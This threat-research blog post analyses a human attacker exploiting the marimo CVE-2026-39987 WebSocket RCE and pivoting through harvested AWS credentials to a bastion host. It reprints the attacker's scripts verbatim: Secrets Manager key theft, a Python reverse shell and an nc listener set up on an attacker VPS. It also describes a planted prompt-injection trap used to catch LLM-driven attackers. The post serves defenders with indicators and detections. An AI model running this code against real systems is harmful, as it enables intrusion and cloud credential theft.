< back to blog

Machine speed, hold the AI: Hand-rolled marimo CVE-2026-39987 exploit

Sysdig Threat Research Team
Machine speed, hold the AI: Hand-rolled marimo CVE-2026-39987 exploit
Published by:
Sysdig Threat Research Team
Machine speed, hold the AI: Hand-rolled marimo CVE-2026-39987 exploit
Published:
September 11, 2026
falco feeds by sysdig

Falco Feeds extends the power of Falco by giving open source-focused companies access to expert-written rules that are continuously updated as new threats are discovered.

learn more
Green background with a circular icon on the left and three bullet points listing: Automatically detect threats, Eliminate rule maintenance, Stay compliant, with three black and white cursor arrows pointing at the text.

AI is lowering the barrier to entry for attackers; that much is settled. But what’s still up for debate is whether skilled threat actors can keep up with their LLM-driven competitors. 

Recently, the Sysdig Threat Research Team (TRT) watched a single threat actor go from an open WebSocket to a live SSH session on a bastion host in eight seconds. There was no agent in the loop, nor was there any sign of LLM-generated scripts or tooling. Instead, the operator used a Python toolkit they wrote and debugged by hand, in-session, over the preceding four hours.

The attacker exploited CVE-2026-39987, a pre-authentication remote code execution (RCE) vulnerability in marimo. They ran a complete credential-pivot chain end to end: initial access through the unauthenticated WebSocket terminal, an AWS Secrets Manager call using credentials harvested from the compromised instance, and SSH access to a bastion host with the retrieved private key. Over the course of a nine-hour session, they issued more than 850 interactive commands, used no recognizable publicly available offensive tooling, and hand-rolled their scripts in-session.  

Eight seconds is the kind of speed we expect to see in AI-assisted attacks. This operator got there on skill alone, and along the way walked straight past a trap that every agentic threat actor (ATA) we’ve profiled against this same CVE fell into. Not only can skilled human attackers move at machine speed, but they can also often better evade defenders’ detections. 

This is one of several operators we’ve profiled against CVE-2026-39987. The series began with exploitation less than 10 hours after disclosure and continued with the NKAbuse RAT campaign. What makes this operator unique is the craft. While others left clear LLM fingerprints, they wrote automation by hand, ignored a planted prompt injection that agent-driven operators reliably tripped, and chained three post-RCE steps in eight-seconds using a toolkit that was pre-staged during an earlier session.

Let's explore what the Sysdig TRT observed, a few detections and indicators of compromise, and what defenders can do to stay ahead.

Timeline

All times UTC.

Time

Event

28+ hours before first observed terminal activity

First harvested AWS credential validated via GetCallerIdentity in CloudTrail 

33 minutes after the first credential was harvested

Second harvested credential (from the application’s Redis backend) validated 

12:52:18

First WebSocket connection from 172.236.12.17 to /terminal/ws

12:54:13

First interactive command: a /dev/tcp sweep of the RFC1918 /24 the host sat in

16:00–16:30

Operator drops a series of base64-encoded Python scripts into /tmp/

16:50:40

boto3 script calls secretsmanager:GetSecretValue on AWS

16:51:45

Retrieved SSH key replayed against an internet-reachable bastion host

18:54:31

New WebSocket session opens

18:54:45

AWS Secrets Manager API call observed in CloudTrail (14 seconds after WebSocket open)

18:56:32–18:56:44

EC2 enumeration denied: DescribeInstances →

UnauthorizedOperation; DescribeKeyPairs → AccessDenied;

DescribeInstanceInformation → AccessDenied

18:56:50

ec2:SendSSHPublicKey fired against i-0000000000000000 — null instance ID (enumeration never returned a real ID); blocked

18:57:22

18:57:30

Fresh WebSocket session opens

SSH bastion authentication observed (8 seconds after that

session's WebSocket open)

20:13–20:32

Operator deploys an asyncssh-style listener setup against an attacker-owned VPS

21:50:14

Final disconnect for this operator

The first interactive command, a TCP probe across the host’s /24, and the first credentialed AWS API call sit nearly four hours apart. That window is very likely when the operator built and debugged their tooling. Once the toolkit was complete and working, subsequent reconnections completed the full chain in seconds because the scripts were already on disk and only needed a single command to fire.

The vulnerability

Marimo notebooks are commonly deployed alongside ML pipelines on hosts with GPU access, large datasets, and credentialed connections to AWS, GCP, and various model providers. A compromised marimo instance is the door to the victim’s cloud account.

CVE-2026-39987 is a pre-authentication RCE flaw. GitHub's advisory lists all versions up to and including marimo 0.20.4 as affected, with the fix shipped in 0.23.0. The /terminal/ws WebSocket endpoint provides an interactive PTY shell but skips the authentication validation that other WebSocket endpoints in the same application apply correctly. Any client that can open a WebSocket to that path is granted a full interactive shell running as the marimo process user, with no credentials required. Exploiting it requires no payload or encoding, just an open WebSocket connection to that path. The fix in version 0.23.0 wires the missing validate_auth() call into the terminal endpoint via PR #9098.

What we observed

Hand-rolled AWS automation

Every attack on marimo before this showed unmistakable fingerprints of LLM-driven operators. They typed out AWS request-signing code, from memory, line by line in a single shell session. This operator, on the other hand, wrote and debugged a boto3 chain script over multiple sessions and dropped it as a base64-encoded Python file into /tmp/. There was no evidence suggesting the threat actor used AI during this process. 

Later in the session, the attacker iterated through eight unique scripts over a 17-minute window, and each base64-decoded into /tmp/ via the same pattern: echo '<base64-blob>' | base64 -d > /tmp/<name>.py. The base64 wrap serves two purposes: It sidesteps shell-quoting issues with embedded multi-line Python, and it produces a single bash_history line that does not reveal the script’s contents to a defender skimming the file.

The full toolkit is reproduced below, in deployment order. AWS credential values have been redacted; everything else is verbatim from the WebSocket command stream.

Script 1: Initial Secrets Manager retrieval with region fallback

This script falls through five AWS regions on exception. Credentials are hardcoded in source rather than read from the environment, indicating the operator was iterating against credentials they had already extracted earlier in the shell session.

import boto3, json
try:
    client = boto3.client("secretsmanager",
        aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
        aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
        region_name="us-east-1")
    resp = client.get_secret_value(SecretId="REDACTED")
    val = resp.get("SecretString", "")
    if not val:
        val = resp.get("SecretBinary", b"").decode()
    print("SECRET_START")
    print(val)
    print("SECRET_END")
except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try other regions
    for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
        try:
            c2 = boto3.client("secretsmanager",
                aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
                aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
                region_name=region)
            r2 = c2.get_secret_value(SecretId="REDACTED")
            val = r2.get("SecretString", "")
            if not val:
                val = r2.get("SecretBinary", b"").decode()
            print(f"FOUND_IN_{region}")
            print("SECRET_START")
            print(val)
            print("SECRET_END")
            break
        except Exception as e2:
            print(f"REGION_{region}:{e2}")

Script 2: Refined Secrets Manager retrieval with key persistence and JSON parsing

This is the workhorse script. It writes the retrieved key to /tmp/bastion_key with mode 0600, parses the secret value as JSON to handle either a {key: ...} structure or raw-string response, and falls through to secretsmanager:ListSecrets on access denied. The SecretId value also changed between the two script versions, suggesting the operator iterated on the secret name after recovering additional information from the compromised host.

import boto3, json, os, sys

# Use env vars (already set)
# AWS_ACCESS_KEY_ID=<AWS_KEY_HARVESTED_FROM_VICTIM>
# AWS_SECRET_ACCESS_KEY=<AWS_SECRET_HARVESTED_FROM_VICTIM>
# AWS_DEFAULT_REGION=us-east-1

client = boto3.client("secretsmanager")

try:
    resp = client.get_secret_value(SecretId="REDACTED")
    secret = resp.get("SecretString", "")
    if not secret:
        secret = resp.get("SecretBinary", b"").decode()

    print("SECRET_RETRIEVED")
    print(f"SECRET_LEN:{len(secret)}")

    # Try to parse as JSON
    try:
        data = json.loads(secret)
        for k, v in data.items():
            if "key" in k.lower() or "private" in k.lower():
                with open("/tmp/bastion_key", "w") as f:
                    f.write(v)
                os.chmod("/tmp/bastion_key", 0o600)
                print(f"KEY_FIELD:{k}")
                print(f"KEY_HEAD:{v[:60]}")
                print("KEY_SAVED:/tmp/bastion_key")
            else:
                print(f"FIELD:{k}={str(v)[:100]}")
    except json.JSONDecodeError:
        # Raw key data
        with open("/tmp/bastion_key", "w") as f:
            f.write(secret)
        os.chmod("/tmp/bastion_key", 0o600)
        print(f"RAW_KEY_HEAD:{secret[:60]}")
        print("KEY_SAVED:/tmp/bastion_key")

except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try listing secrets
    try:
        secrets = client.list_secrets(MaxResults=20)
        for s in secrets.get("SecretList", []):
            print(f"SECRET_LIST:{s['Name']}")
    except Exception as e2:
        print(f"LIST_ERR:{e2}")

Script 3: Direct standard-library reverse shell

This is a standard-library-only (stdlib-only) Python reverse shell with no third-party imports or encoding, just socket, os.dup2, and subprocess. The first version had no error handling and the second added try/except and s.settimeout(10) after the operator presumably hit a hung shell on a previous attempt.

import socket, subprocess, os, sys
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect(("45.79.187.72", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/bash", "-i"])
except Exception as e:
    print(f"SHELL_ERR:{e}", file=sys.stderr)

Script 4: SSH-into-VPS-and-set-up-listener with key-type detection 

This script tries RSAKey, Ed25519Key, and ECDSAKey in that order. The operator did not know what algorithm the bastion key used. After connecting over SSH, it kills any existing nc listener on port 4444, starts a new nohup nc -lvp 4444 listener, and verifies the listener bound with ss -tlnp. The output structure (stderr for diagnostics, stdout for status flags RELAY_READY) is consistent across every script in this toolkit: a programmatic interface designed to be called from another script, not run interactively.

#!/usr/bin/env python3
import paramiko, io, time, sys

with open("/tmp/relay_key", "r") as f:
    key_data = f.read()

print(f"KEY_LEN: {len(key_data)}", file=sys.stderr)
print(f"KEY_HEAD: {key_data[:50]}", file=sys.stderr)

# Try loading the key
key = None
for KeyClass in [paramiko.RSAKey, paramiko.Ed25519Key, paramiko.ECDSAKey]:
    try:
        key = KeyClass.from_private_key(io.StringIO(key_data))
        print(f"KEY_TYPE: {KeyClass.__name__}", file=sys.stderr)
        break
    except Exception as e:
        print(f"TRY_{KeyClass.__name__}: {e}", file=sys.stderr)
        continue

if not key:
    print("FAILED_ALL_KEY_TYPES", file=sys.stderr)
    sys.exit(1)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
    client.connect("45.79.187.72", username="root", pkey=key, timeout=10)
    print("SSH_CONNECTED", file=sys.stderr)

    # Kill any existing nc on 4444
    client.exec_command("pkill -f 'nc.*4444' 2>/dev/null")
    time.sleep(1)

    # Start listener
    client.exec_command("nohup nc -lvp 4444 > /tmp/revshell.log 2>&1 &")
    time.sleep(2)

    # Verify
    _,o,_ = client.exec_command("ss -tlnp | grep 4444")
    verify = o.read().decode().strip()
    print(f"LISTENER: {verify}", file=sys.stderr)

    _,o2,_ = client.exec_command("hostname; id")
    info = o2.read().decode().strip()
    print(f"RELAY_INFO: {info}", file=sys.stderr)

    client.close()
    print("RELAY_READY")
except Exception as e:
    print(f"SSH_ERROR: {e}", file=sys.stderr)

Script 5: Full chain — listener setup plus reverse-shell fire

Based on the filename and its position as the last script dropped in the 20:13–20:32 UTC window, this script appears to consolidate the Secrets Manager retrieval, key-handling, and reverse-shell logic from Scripts 1 through 4 into a single module. However, the command stream was cut off, so we did not capture anything after the import statements and the initial comment header.

import paramiko, io, os, time, sys, socket, subprocess


# Read the b

Same-provider infrastructure

Both the source IP (172.236.12.17, London) and the command-and-control (C2) listener target (45.79.187.72, Cedar Knolls, NJ) belong to AS63949 Akamai Connected Cloud, the autonomous system Linode operates under. The operator used the same VPS provider for the operating shell and the callback sink. This is common for low-cost actors who buy a few VPS instances on the same provider for redundancy. This is a useful clustering signal, because any other compromise with both the source IP and C2 inside AS63949 is a candidate for the same operator.

Resistance to prompt injection bait

The Sysdig TRT planted a natural-language directive in this vulnerable marimo container designed to distinguish human operators from LLM-driven tooling. The probe instructs any LLM agent that processes a specific file as an instruction to self-attest by echoing a hidden marker back into its own output. The previously reported LLM-driven operators each read the context and reliably echoed that marker in their subsequent typed commands.

However, this operator inspected the file on two separate occasions during the session and saw the probe both times, but never echoed the marker. The marker never appeared in any command, payload, or query field associated with this source IP. Combined with the manually-paced session structure, the iterative debugging visible in the AWS region-fallback logic, and the hand-typed quoting variations across sessions, this is the clearest non-LLM-agent behavioral signature we have collected against this vulnerability.

A skilled human will outmaneuver an LLM-driven operator on evasion and judgement alone. Neither threat is inherently more or less dangerous than the other. Importantly, defenses built for one will likely miss the actions of the other. Defenders should continue to shore up defenses against both types of attackers. 

Two AWS credential paths attempted

The operator harvested AWS credentials from two different surfaces on the compromised marimo instance:

  • Credential 1 was harvested from environment variables and credential files on the compromised host. The operator validated it in CloudTrail before the first WebSocket connection.
  • Credential 2 was returned by the application's Redis backend in response to a GET lookup against its stored encrypted-credential key. It was validated 33 minutes after the first credential.

The 28-hour gap between the first credential validation and the first observed terminal activity means the initial harvest predates our visibility window. The operator validated both credentials before they appeared in any terminal session we have logs for, then tried both in their boto3 chain. The two credentials map to different IAM users, and observing the use of both confirms an iterative discovery process in which the operator pivoted to the second credential after the first did not return the bastion secret.

The eight-second, human-built cycle

By the third hour of activity, the toolkit was on disk and tested. From that point on, the chain ran end to end as fast as the operator could re-establish a WebSocket session:

  • 18:57:22: Fresh WebSocket connection
  • 18:57:26: Lookup against the application's stored credential returns the harvested AWS key
  • 18:57:30: SSH authentication observed at the bastion host

It was eight seconds from WebSocket open to bastion authentication, with the AWS Secrets Manager API call sitting inside that window. The operator's tradecraft converged on a single backgrounded python3 invocation, not an agentic framework, that pulls the credential, fetches the SSH key from Secrets Manager, writes it to disk, and authenticates to the bastion over SSH in one shot.

Hand-rolled tooling, run by a human who paced their own reconnection, hit the same operational attack timescale as the AI-powered threats we’ve surfaced. The machine-speed threat isn’t new to AI. SCARLETEEL exfiltrated data in under three minutes in early 2023. But AI does lower the barrier of entry for attackers, and it makes machine speed much easier to reach. 

AWS EC2 Instance Connect: Automation fired against a null target

Between the two WebSocket sessions, a background script made four Elastic Compute Cloud (EC2) API calls in rapid succession:

Time (UTC)

API call

Result

18:56:32

DescribeInstances

UnauthorizedOperation

18:56:39

DescribeKeyPairs

AccessDenied

18:56:44

DescribeInstanceInformation

AccessDenied

18:56:50

SendSSHPublicKey (instance i-0000000000000000)

Blocked

Every enumeration call was denied. The script's logic was almost certainly to enumerate running instances to get an instance ID, then use EC2 Instance Connect to push an operator-controlled public key for a passwordless SSH path, skipping the Secrets Manager key entirely. Pushing a key via EC2 Instance Connect and SSH in directly, bypassing the Secrets Manager hop, is a cleaner persistence technique.

The problem was incomplete error handling for the enumeration-failure case. When DescribeInstances returned UnauthorizedOperation, the variable holding the target instance ID was never populated. The script fired SendSSHPublicKey anyway using whatever the variable defaulted to: in this case, it was i-0000000000000000, which is a placeholder no real EC2 instance will ever have. AWS rejected the call on a malformed instance ID before it reached IAM evaluation.

This is automation failing in a specific way. The operator handled the push-failure case (when an instance exists but the key push is denied) but not the enumeration-failure case (when there is no instance ID to push to). The fallback to the placeholder indicates a Python variable that was either uninitialized or set to a sentinel value, not an AWS-supplied ID.

Two points are worth noting. First, the EC2 Instance Connect path is more dangerous than it appears. If enumeration had succeeded, the operator would have had a direct SSH route into the instance without ever touching Secrets Manager. Second, a SendSSHPublicKey call against the placeholder is now a documented behavioral signal for this operator: When their EC2 enumeration is denied, they fire the API call anyway. That specific sequence — three denied enumeration calls followed by SendSSHPublicKey against the placeholder — is a high-fidelity fingerprint for automation running without an enumeration guard.

Why this operator profile matters

The EC2 Instance Connect path gives us some insight into this operator’s thought process. They weren’t relying on a single route to the bastion, as the previous LLM-driven operators did. While the Secrets Manager chain was running its eight-second cycle, a second, independent script was trying to open a different door by pushing an SSH key straight onto the instance. This was human-built redundancy, assuming that their first method was likely to get blocked. Agentic threat actors, on the other hand, often fail and try a new method seconds later. They don’t build contingency plans. 

To that end, the enumeration failure, followed by a key-push attempt, is a sign of a human moving fast, iterating live, and not considering what happens if the enumeration comes back empty. This is a reminder that human tradecraft can fail in very human ways. This was a human coding error that should’ve been aborted, and instead pushed through with a placeholder value. This isn’t the kind of mistake an LLM-driven tool is likely to make.   

For defenders, the practical implication is that detection cannot rely on operator-class fingerprints. The shell command stream looks completely different between an LLM-generated cat ~/.bash_history sequence and a hand-typed nohup python3 /tmp/chain.py, but both end at the same secretsmanager:GetSecretValue API call, SSH key handoff, and outbound TCP connection to a bastion. The detection priority is the chain shape, not the shell typing pattern.

Indicators of compromise

Source IPs

IP

ASN / Provider

Geo

Role

172.236.12.17

AS63949 Akamai Connected Cloud (Linode)

London, GB

Source of all interactive WebSocket sessions

45.79.187.72

AS63949 Akamai Connected Cloud (Linode)

Cedar Knolls, NJ, US

Attacker-owned VPS used as nc -lvp 4444 callback listener

The 172.236.12[.]17 Linode endpoint is almost certainly disposable VPS infrastructure. The 45.79.187[.]72 listener carries more weight because the operator demonstrated SSH root access to it, indicating they either pay for it or hold stolen credentials for it, and have used it for at least the duration of this campaign. Long-lived infrastructure on the same VPS provider as the operating shell is a clustering signal worth tracking.

File and path indicators

  • base64-decoded boto3 chain scripts: /tmp/chain.py, /tmp/full_chain.py
  • SSH private key written from an AWS Secrets Manager response (mode 0600): /tmp/bastion_key
  • nohup output sinks: /tmp/chain.log, /tmp/chain_output.txt
  • nc -lvp 4444 output sink on the C2 host: /tmp/callback.log

Behavioral indicators

  • echo '<long-base64-blob>' | base64 -d > /tmp/<name>.py followed within seconds by nohup python3 /tmp/<name>.py > /tmp/<name>.log 2>&1 &
  • A boto3.client("secretsmanager") call followed by exception-driven iteration through ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"] in that exact order
  • A paramiko.SSHClient.connect(<ip>, username="root") call from a process that is not a known SSH client binary
  • pip3 install boto3 2>&1 | tail early in the session. The marimo container does not ship boto3, and operators who do not know that will fail their first AWS call

Detection

Detection should focus on the chain shape rather than any single command in isolation. The following behaviors, observed in sequence on a notebook host, would indicate the exact post-exploit chain we captured:

  1. A process executing inside a notebook container reads /proc/self/environ or the application's .env file.
  2. The same process makes an outbound HTTPS request to secretsmanager.<region>.amazonaws.com with a non-default user agent.
  3. Within the same minute, an outbound TCP connection is made from the container to a non-RFC 1918 destination on a non-standard port.

CloudTrail detection is straightforward. A secretsmanager:GetSecretValue call originating from an AWS principal that has never historically called Secrets Manager, returning errorCode: AccessDeniedException, followed by retry calls from the same principal across multiple regions in under a minute, is high-fidelity evidence of a region-fallback discovery pattern.

For Sysdig Secure customers, the container drift and outbound network egress runtime policy classes cover the on-host portion of this attack chain. AWS GuardDuty's UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS finding covers the cloud side when the harvested key is replayed from an IP outside the AWS account's normal egress range.

Recommendations

  • Update marimo to version 0.23.0 or later if you haven’t already. This vulnerability has been on CISA KEV for months. The federal remediation deadline was May 7, 2026.
  • Restrict the /terminal/ws endpoint at a reverse proxy with authentication, or disable the terminal feature because notebook platforms should not be exposed to the internet.
  •  Audit where cloud credentials sit on notebook hosts. This operator harvested two separate AWS keys from two different surfaces — the process environment and the application's data backend — and tried both. Check the process environment (/proc/<pid>/environ), systemd EnvironmentFile entries, ~/.aws/credentials and ~/.aws/config, the application's .env, and any secret store the notebook service queries at runtime. The two keys mapped to different IAM users, so removing one surface would not have closed the path.
  • Scope access to Secrets Manager. The IAM user whose credentials sit on a notebook host should not have read access to a deploy-bastion SSH key. Scope secretsmanager:GetSecretValue permissions to only the secrets the principal actually needs.
  • Restrict egress from notebook containers. Block outbound TCP to the public internet from notebook hosts on any port other than what the application explicitly requires (PyPI mirrors, model APIs). The reverse-shell port range (4444, 1337, 1234, 8080, 9001, 31337) should never appear in notebook egress.
  • Rotate any credentials previously exposed on internet-reachable marimo instances. If /terminal/ws was reachable at any point since April 8, assume the contents of .env, the application's data layer, and any environment variables have been exposed.
  • Hunt for chain.py, bastion_key, and similarly-named files in /tmp/ on notebook hosts. Persistence is rare for this operator class, but the toolkit they leave in /tmp/ is durable and reusable across sessions.

Conclusion

This marimo vulnerability (CVE-2026-39987) continues to attract operators of meaningfully different skill levels and tooling profiles. All attacks we’ve seen, however, have converged on the same outcome: harvest the credentials a notebook host typically carries, replay them against the upstream cloud account, and pivot inward.

The eight-second credential-to-bastion chain is the baseline defenders should plan around. Once an operator has downloaded or built the right toolkit, the post-RCE phase of this attack is faster than most detection and response teams are prepared to react. The defensible position is upstream: Patch, restrict the WebSocket endpoint, and scope cloud credentials so that compromising a notebook does not mean compromising the cloud account.

AI may be changing the economics of attacks — more targets, faster time-to-exploit, and less manual grind on repetitive tasks — but it has not yet replaced the skilled attacker who knows how to build from scratch and avoid traps. The current threat landscape has both, working the same vulnerabilities for the same outcomes, and doing so at the same speed. Defenders must remain prepared for both.

About the author

Cloud Security
Cloud detection & response
featured resources

Test drive the right way to defend the cloud
with a security expert